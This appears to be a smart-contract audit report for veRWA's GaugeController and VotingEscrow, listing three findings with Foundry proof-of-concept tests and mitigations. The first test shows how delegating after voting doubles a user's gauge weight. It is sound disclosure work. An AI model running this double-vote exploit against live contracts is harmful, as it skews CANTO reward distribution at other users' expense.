veRWA - ltyu's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L218-L220 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L356

Vulnerability details

Impact

Users can double-spend their voting power, and over vote for their Gauge. This causes unfairness in the distribution of CANTO.

Proof of Concept

In vote_for_gauge_weights() of GaugeController.sol, a VoteEscrow locker is able to vote for a gauge. Their voting power is based off of the slope and bias of their lock. However, this does not take into account when a voter delegates their voting power to another user. This is problematic because after a user has voted for a gauge, they can delagate their voting power to another user, and therfore, duplicating their vote.

This is a unit test to be added into GaugeController.t.sol. It can be manually run by executing forge test --match-test testUnlockAfterVoted. Note: For the sake of brevity, user1 is the gauge address that gets created, it is also a locking user.

function testDelegatedAfterVoted() public {
	// prepare
	vm.deal(user1, 100 ether);
	vm.startPrank(gov);
	gc.add_gauge(user1);
	gc.change_gauge_weight(user1, 10000);
	vm.stopPrank();

	uint256 v = 10 ether;

	// Create an almost empty lock for user2
	vm.prank(user2);
	ve.createLock{value: 1}(1);
	
	// Create a lock with 10 ether, and vote 100%
	vm.startPrank(user1);
	ve.createLock{value: v}(v);
	gc.vote_for_gauge_weights(user1, 10000);

	// Delegate to user2
	ve.delegate(user2);
	vm.stopPrank();

	// User2, use user1's delegated votes to vote for gauge
	vm.prank(user2);
	gc.vote_for_gauge_weights(user1, 10000);

	// Gauge weight is 2 ether
	assertApproxEqRel(gc.get_gauge_weight(user1), 2 * v, 0.1e18);
	console.log(gc.get_gauge_weight(user1));
}

Tools Used

Manual

Recommended Mitigation Steps

Whenever a user delegates their votes, consider,

• Preventing that user from delegating if they've voted for a gauge. This could be as simple as checking GaugeController.vote_user_power == 0.
• Poking the GaugeController to update the user's vote. The drawback with this approach, is that if a user votes for many gauges, many calls are required.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L331 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L371-L374 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L383

Vulnerability details

Impact

In delegate() of VoteEscrow.sol, a user is able to delegate their locked votes to someone else, and undelegate (i.e. delegate back to themselves). When the user tries to re-delegate, either to someone else or themselves, the lock must not be expired. This is problematic because if a user forgets and lets their lock become expired, they cannot undelegate. This blocks withdrawal, which means their tokens are essentially locked forever.

Proof of Concept

To exit the system, Alice must call withdraw(). However, since they've delegated, they will not be able to.

function withdraw() external nonReentrant {
	...
	require(locked_.delegatee == msg.sender, "Lock delegated");
	...
}

To re-delegate to themselves (undelegate), they call delegate(alice.address). However, there is a check to see if toLocked.end has expired, which would be true since it would point to Alice's lock.

function delegate(address _addr) external nonReentrant {
	LockedBalance memory locked_ = locked[msg.sender];
	...
	LockedBalance memory fromLocked;
	LockedBalance memory toLocked;
	locked_.delegatee = _addr;
	if (delegatee == msg.sender) {
		...
	// @audit this else if will execute
	} else if (_addr == msg.sender) {
		// Undelegate
		fromLocked = locked[delegatee]; // @audit Delegatee
		toLocked = locked_; // @audit Alice's lock
	}
	...
	require(toLocked.end > block.timestamp, "Delegatee lock expired");

This is a test to be added into VoteEscrow.t.sol. It can be manually run by executing forge test --match-test testUnSuccessUnDelegate.

function testUnSuccessUnDelegate() public {
	testSuccessDelegate();
	vm.warp(ve.LOCKTIME() + 1 days);

	// Try to undelegate
	vm.startPrank(user1);
	vm.expectRevert("Delegatee lock expired");
	ve.delegate(user1);

	// Still user2
	(, , , address delegatee) = ve.locked(user1);
	assertEq(delegatee, user2);
}

Tools Used

Manual

Recommended Mitigation Steps

Consider refactoring the code to skip toLocked.end > block.timestamp if undelegating. For example, adding a small delay (e.g., 1 second) to the lock end time when a user undelegates.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L213

Vulnerability details

Impact

In remove_gauge() of GaugeController.sol, Governance is able to remove a gauge. As noted by the Sponsor, Governance is controlled by CANTO token holders. The removal, whether deliberately or unintentionally, will through the usual proposal voting steps. If the gauge is removed, this will result in voters unable to change their existing votes, and losing potential reward claims.

Proof of Concept

Since vote_for_gauge_weights() requires that the gauge is valid, a user will not able to call this function again to change their existing vote:

function vote_for_gauge_weights(address _gauge_addr, uint256 _user_weight) external {
	require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight");
	require(isValidGauge[_gauge_addr], "Invalid gauge address");
	...
}

This is a test to be added into GaugeController.t.sol. It can be manually run by executing forge test --match-test testChangeVoteRemoveGauge. This shows that a user's vote is locked to a remove gauge.

function testChangeVoteRemoveGauge() public {
	vm.startPrank(gov);
	gc.add_gauge(gauge1);
	gc.add_gauge(gauge2);

	ve.createLock{value: 1 ether}(1 ether);
	gc.vote_for_gauge_weights(gauge1, 10000);
	
	gc.remove_gauge(gauge1);

	vm.expectRevert("Invalid gauge address");
	gc.vote_for_gauge_weights(gauge1, 0);

	// Unable to change votes
	vm.expectRevert("Used too much power");
	gc.vote_for_gauge_weights(gauge2, 10000);
}

Tools Used

Manual

Recommended Mitigation Steps

Consider adding a withdraw existing votes function i.e., remove reliance on having to use vote_for_gauge_weights(). This function should simply remove a user's existing votes, it does not need to check isValidGauge[_gauge_addr].

Assessed type

Governance